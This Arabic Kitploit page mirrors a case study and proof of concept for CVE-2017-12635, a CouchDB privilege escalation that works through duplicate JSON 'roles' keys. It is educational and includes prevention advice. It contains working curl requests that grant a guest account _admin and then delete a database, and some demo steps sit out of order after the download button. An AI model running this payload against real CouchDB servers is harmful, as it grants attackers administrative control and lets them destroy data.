Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-12635 — دراسة حالة وإثبات المفهوم لـ CVE-2017-12635: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - تصعيد الامتيازات عن بُعد | Kitploit
أدوات/GitHubGitHub/assalielmehdi/cve-2017-12635
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubassalielmehdi/cve-2017-12635

CVE-2017-12635

دراسة حالة وإثبات المفهوم لـ CVE-2017-12635: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - تصعيد الامتيازات عن بُعد

عرض المستودع
1034منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-12635

دراسة حالة وإثبات المفهوم لـ CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - تصعيد الامتيازات عن بُعد

العرض التقديمي

CouchDB

Apache CouchDB هي قاعدة بيانات NoSQL موجهة نحو المستندات، مطبقة بلغة Erlang.

تستخدم CouchDB تنسيقات وبروتوكولات متعددة لتخزين البيانات ونقلها ومعالجتها، فهي تستخدم JSON لتخزين البيانات، وJavaScript كلغة استعلام باستخدام MapReduce، وHTTP كواجهة برمجة تطبيقات.

يمكن استخدام CouchDB كقاعدة بيانات عقدة مفردة وكذلك كمجموعة.

الثغرة

بسبب التباين بين محلل JSON المعتمد على Erlang ومحلل JSON المعتمد على JavaScript، كانت هناك ثغرة في CouchDB قبل الإصدار 1.7.0 و 2.x قبل 2.1.1 تسمح للمستخدمين غير المسؤولين بتصعيد الامتيازات عن طريق إرسال مستندات _users تحتوي على مفاتيح roles مكررة تُستخدم للتحكم في الوصول داخل قواعد البيانات، بما في ذلك الحالة الخاصة لدور _admin الذي يشير إلى المستخدمين الإداريين.

باختصار، تسمح الثغرة للمستخدمين غير المسؤولين بمنح أنفسهم امتيازات إدارية.

المزيد عن CouchDB

المصادقة

بشكل افتراضي، تسمح CouchDB لأي طلب بأن يتم بواسطة أي شخص. الجميع لديهم صلاحيات لفعل أي شيء.

لدى CouchDB مفهوم المستخدم الإداري (مثل المسؤول، المستخدم الفائق، أو الجذر) الذي يُسمح له بفعل أي شيء لتثبيت CouchDB. افتراضياً، الجميع هو مسؤول. إذا كنت لا تحب ذلك، يمكنك إنشاء مستخدمين إداريين محددين باسم مستخدم وكلمة مرور كبيانات اعتماد.

كما تحدد CouchDB مجموعة من الطلبات التي يُسمح فقط للمستخدمين الإداريين بتنفيذها. قم بزيارة الوثائق الرسمية لمزيد من المعلومات.

لدى CouchDB قاعدة بيانات مصادقة خاصة تخزّن جميع المستخدمين المسجلين كمستندات JSON.

تستخدم CouchDB قاعدة بيانات خاصة (تسمى _users افتراضياً) لتخزين معلومات حول المستخدمين المسجلين. هذه قاعدة بيانات نظام – مما يعني أنه بينما تشارك واجهة برمجة التطبيقات العامة لقاعدة البيانات، هناك بعض القيود الخاصة بالأمان المطبقة والاتفاقيات المستخدمة حول هيكل المستندات.

فقط المسؤولون يمكنهم الحصول (GET) أو إنشاء (PUT) أو حذف (DELETE) أي مستند في قاعدة بيانات _users.

يمكن للمستخدمين فقط الوصول (GET /_users/org.couchdb.user:<username>) أو تعديل (PUT /_users/org.couchdb.user:<username>) المستندات التي يملكونها.

يُخزَّن كل مستخدم في CouchDB بتنسيق مستند. تحتوي هذه المستندات على عدة حقول إلزامية، التي تتعامل معها CouchDB من أجل عملية المصادقة الصحيحة. نحن مهتمون بحقل roles.

حقل roles هو قائمة بأدوار المستخدم. لا توفر CouchDB أي أدوار مبنية مسبقاً، لذا يمكنك تحديد أدوارك الخاصة حسب احتياجاتك. ومع ذلك، لا يمكنك تعيين أدوار النظام مثل _admin هناك. أيضاً، فقط المسؤولون يمكنهم تعيين الأدوار للمستخدمين - افتراضياً، لا يوجد لدى جميع المستخدمين أدوار.

دوال التحقق

CouchDB مكتوبة بلغة Erlang، ولكنها تسمح للمستخدمين بتحديد نصوص التحقق من المستندات بلغة JavaScript. يتم تقييم هذه النصوص تلقائياً عند إنشاء مستند أو تحديثه. تبدأ في عملية جديدة، ويتم تمرير مستندات مسلسلة بصيغة JSON من جانب Erlang.

ترسل CouchDB الدوال والمستندات إلى مفسر JavaScript. هذه الآلية هي ما يسمح للمستخدمين بكتابة دوال التحقق من المستندات بلغة JavaScript. يتم تنفيذ دالة validate_doc_update لكل مستند يتم إنشاؤه أو تحديثه. إذا أثارت دالة التحقق استثناءً، يتم رفض التحديث؛ عندما لا يحدث ذلك، يتم قبول التحديثات.

تستخدم CouchDB دالة validate_doc_update لمنع تحديثات المستندات غير الصالحة أو غير المصرح بها.

root@kitploit:~
function(newDoc, oldDoc, userCtx, secObj) {...}

الوسائط:

  • newDoc – الإصدار الجديد من المستند الذي سيتم تخزينه.
  • oldDoc – الإصدار السابق من المستند المخزّن بالفعل.
  • userCtx – كائن سياق المستخدم.
  • secObj – كائن الأمان.

يتم تمرير الدالة إلى المستند الجديد من طلب التحديث، والمستند الحالي المخزّن في قاعدة البيانات، وكائن سياق المستخدم الذي يحتوي على معلومات حول المستخدم الذي يكتب المستند (إن وجد)، وكائن أمان مع قوائم بأدوار أمان قاعدة البيانات.

محللات JSON

محلل JSON المستخدم داخلياً بواسطة CouchDB هو jiffy والمستخدم في نصوص التحقق بواسطة JavaScript هو JSON.

المشكلة هي وجود تباين بين JSON و jiffy عند التعامل مع المفاتيح المكررة.

بالنسبة لمفتاح معين، سيقوم محلل Erlang بتخزين كلا القيمتين، بينما سيقوم محلل JavaScript بتخزين القيمة الأخيرة فقط.

على سبيل المثال، تحليل {"name":"John", "name":"Jane"} باستخدام كلا المحللين سينتج:

  • باستخدام jiffy: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}
  • باستخدام JSON: {name: "Jane"}

دالة الجالب للتمثيل الداخلي لـ CouchDB للبيانات ستعيد فقط القيمة الأولى.

إثبات المفهوم

الوصف

يمكننا تجاوز جميع التحقق من صحة الإدخال ذات الصلة وإنشاء مستخدم إداري عن طريق إنشاء مستخدم يحتوي على مفتاح roles مكرر. هذا ما يبدو عليه مستند المستخدم الجديد: {..., "roles": ["_admin"], "roles": [], ...}.

دالة الجالب للتمثيل الداخلي لـ CouchDB للبيانات ستعيد فقط القيمة الأولى. نتيجة لذلك، في أرض Erlang، سنرى أنفسنا كحاملين لدور _admin، بينما في أرض JavaScript نظهر بدون صلاحيات خاصة.

لحسن حظ المهاجم، جميع المنطق المهم المتعلق بالمصادقة والترخيص، بخلاف نص التحقق من الإدخال، يحدث في جزء Erlang من CouchDB.

العرض التوضيحي

لهذا العرض التوضيحي، سنستخدم صورة Docker من المستودع الرسمي couchdb. نحتاج إلى عميل HTTP لإجراء استدعاءات API وسنستخدم cURL لذلك.

يمكن استخدام أي نظام تشغيل لهذا العرض التوضيحي.

المتطلبات الأساسية:

  • Docker
  • cURL

هذه هي الأوامر التي يجب تشغيلها لاستغلال الثغرة:

  1. إنشاء حاوية بناءً على الصورة الرسمية لـ couchdb

    root@kitploit:~
    docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
    

    اخترنا وسم 1.6.1 لأن الإصدار 1.6.1 من CouchDB معرض للثغرة.

  2. التأكد من تشغيل وبدء تشغيل مثيل CouchDB بشكل صحيح

    root@kitploit:~
    curl -X GET http://localhost:5984
    
  3. استعلام: جميع قواعد البيانات في المثيل

    root@kitploit:~
    curl -X GET http://localhost:5984/_all_dbs
    
  4. استعلام: إنشاء قاعدة بيانات جديدة باسم records

    root@kitploit:~
    curl -X PUT http://localhost:5984/records
    
  5. استعلام: التأكد من إنشاء قاعدة البيانات records

    root@kitploit:~
    curl -X GET http://localhost:5984/_all_dbs
    

    يمكننا الحصول على وإضافة وحتى إزالة جميع السجلات من مثيل CouchDB لأن تثبيت CouchDB الافتراضي يوفر وصولاً بمستوى المسؤول لجميع المستخدمين المتصلين. يُعرف هذا التكوين باسم "حفلة المسؤول". يمكننا إنهاء الحفلة ببساطة عن طريق إنشاء أول حساب إداري.

  6. استعلام: إنشاء حساب إداري ببيانات الاعتماد admin:admin

    root@kitploit:~
    curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
    

أثبت العرض التوضيحي أن أي مستخدم يمكنه إنشاء حساب بدور المسؤول والتصرف على قاعدة البيانات كمسؤول.

كيفية الوقاية

يمكننا التمييز بين نوعين من مثيلات CouchDB:

  • مثيل CouchDB عام: خادم قاعدة البيانات لديه وصول عام، ويمكن لأي مستخدم الاتصال بمثيل قاعدة البيانات باستخدام عنوان IP للخادم والمنفذ المكوّن لقاعدة البيانات.
  • مثيل CouchDB داخلي: خادم قاعدة البيانات لديه وصول خاص، ويمكن فقط لمجموعة من المستخدمين (شبكة محلية مثلاً) الوصول إلى قاعدة البيانات.

بشكل افتراضي، يمكن للمستخدمين المجهولين تقديم طلبات إلى مثيل CouchDB. لضمان أن جميع الطلبات المسموح بها تأتي فقط من المستخدمين الموثّقين، يمكننا تعيين require_valid_user إلى true في ملف تكوين قاعدة البيانات. بفعل ذلك، لا يُسمح بأي طلبات من مستخدمين مجهولين، يجب أن يكون الجميع موثّقين.

هذه بعض الإجراءات التي يجب اتخاذها لمنع المستخدمين الخبثاء من استغلال الثغرة. هذا صالح لجميع مستخدمي CouchDB 1.x و 2.x الذين ليسوا على الإصدار 2.1.1 أو أحدث، أو 1.7.1 أو أحدث.

مثيلات CouchDB العامة:

  • يجب أن تكون قد قمت بالتحديث إلى الإصدار الجديد بالفعل.
  • إذا قمت بتمكين require_valid_user وإذا كنت تثق في جميع مستخدميك بالوصول الإداري لقاعدة البيانات وصول إلى شل الخادم: لا توجد مشكلة.

مثيلات CouchDB الداخلية:

  • إذا كنت تثق في الجميع على الشبكة: لا توجد مشكلة.
  • إذا قمت بتمكين require_valid_user وإذا كنت تثق في جميع مستخدميك بالوصول الإداري لقاعدة البيانات وصول إلى شل الخادم: لا توجد مشكلة.
  • إذا قمت بتعطيل require_valid_user وإذا كنت تثق في جميع مستخدميك بالوصول الإداري لقاعدة البيانات وصول إلى شل الخادم: قم بتمكين require_valid_user.

المصطلحات

API: واجهة برمجة التطبيقات (API) هي واجهة أو بروتوكول اتصال بين أجزاء مختلفة من برنامج كمبيوتر يهدف إلى تبسيط تنفيذ وصيانة البرامج.

Erlang: Erlang هي لغة برمجة متزامنة وعملية للأغراض العامة، ونظام تشغيل وقت تشغيل مع جمع القمامة.

HTTP: بروتوكول نقل النص الفائق (HTTP) هو بروتوكول تطبيق لأنظمة معلومات الوسائط الفائقة الموزعة والتعاونية. HTTP هو أساس اتصال البيانات للشبكة العالمية، حيث تتضمن مستندات النص الفائق ارتباطات تشعبية لموارد أخرى يمكن للمستخدم الوصول إليها بسهولة.

JSON: ترميز كائنات JavaScript (JSON) هو تنسيق ملف مفتوح قياسي أو تنسيق تبادل بيانات يستخدم نصًا مقروءًا بشريًا لنقل كائنات بيانات تتكون من أزواج سمة-قيمة وأنواع بيانات مصفوفة (أو أي قيمة قابلة للتسلسل). إنه تنسيق بيانات شائع جدًا، مع مجموعة متنوعة من التطبيقات، مثل كونه بديلاً عن XML في أنظمة AJAX.

MapReduce: MapReduce هو نموذج برمجة وتنفيذ مرتبط به لمعالجة وتوليد مجموعات بيانات كبيرة باستخدام خوارزمية متوازية وموزعة على مجموعة.

NoSQL: توفر قاعدة بيانات NoSQL آلية لتخزين واسترجاع البيانات التي يتم تصميمها بوسائل غير العلاقات الجدولية المستخدمة في قواعد البيانات العلائقية.

PoC: إثبات المفهوم (PoC) هو تحقيق لطريقة أو فكرة معينة من أجل إظهار جدواها، أو عرض مبدئي بهدف التحقق من أن بعض المفهوم أو النظرية لها إمكانات عملية.

تصعيد الامتيازات: تصعيد الامتيازات هو فعل استغلال خطأ أو عيب تصميم أو إشراف في التكوين في نظام تشغيل أو تطبيق برمجي للحصول على وصول مرتفع إلى الموارد المحمية عادةً من تطبيق أو مستخدم.

المراجع

  • https://www.cvedetails.com/cve/CVE-2017-12635/
  • https://www.exploit-db.com/exploits/44498
  • https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
  • https://docs.couchdb.org/en/1.6.1/
تنزيل الأداة
  • استعلام: إنشاء قاعدة بيانات جديدة باسم new_records

    root@kitploit:~
    curl -X PUT http://localhost:5984/new_records
    

    عذراً! لم نعد قادرين على إنشاء قاعدة بيانات جديدة لأن حفلة المسؤول انتهت عند إنشاء أول حساب إداري.

  • استعلام: إنشاء قاعدة بيانات جديدة باسم new_records مع مصادقة المسؤول

    root@kitploit:~
    curl -X PUT http://admin:admin@localhost:5984/new_records
    
  • استعلام: إنشاء مستند جديد في قاعدة بيانات _users

    root@kitploit:~
    curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
        -H "Accept: application/json" \
        -H "Content-Type: application/json" \
        -d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
    

    هنا يمكننا إنشاء مستند جديد في قاعدة بيانات _users، ولكن مع قيود على وسائطه. يمكننا تجاوز القيود عن طريق تكرار حقل roles كما هو موضح سابقاً.

  • استعلام: حذف قاعدة البيانات المسماة new_records

    root@kitploit:~
    curl -X DELETE http://localhost:5984/new_records
    

    عذراً! لا يمكننا لأننا لا نملك دور المسؤول.

  • استعلام: حذف قاعدة البيانات المسماة new_records مع مصادقة الضيف

    root@kitploit:~
    curl -X DELETE http://guest:guest@localhost:5984/new_records
    

    بذلك! قمنا بحذف قاعدة البيانات حتى إذا تم إنشاء حساب الضيف كمستخدم عادي.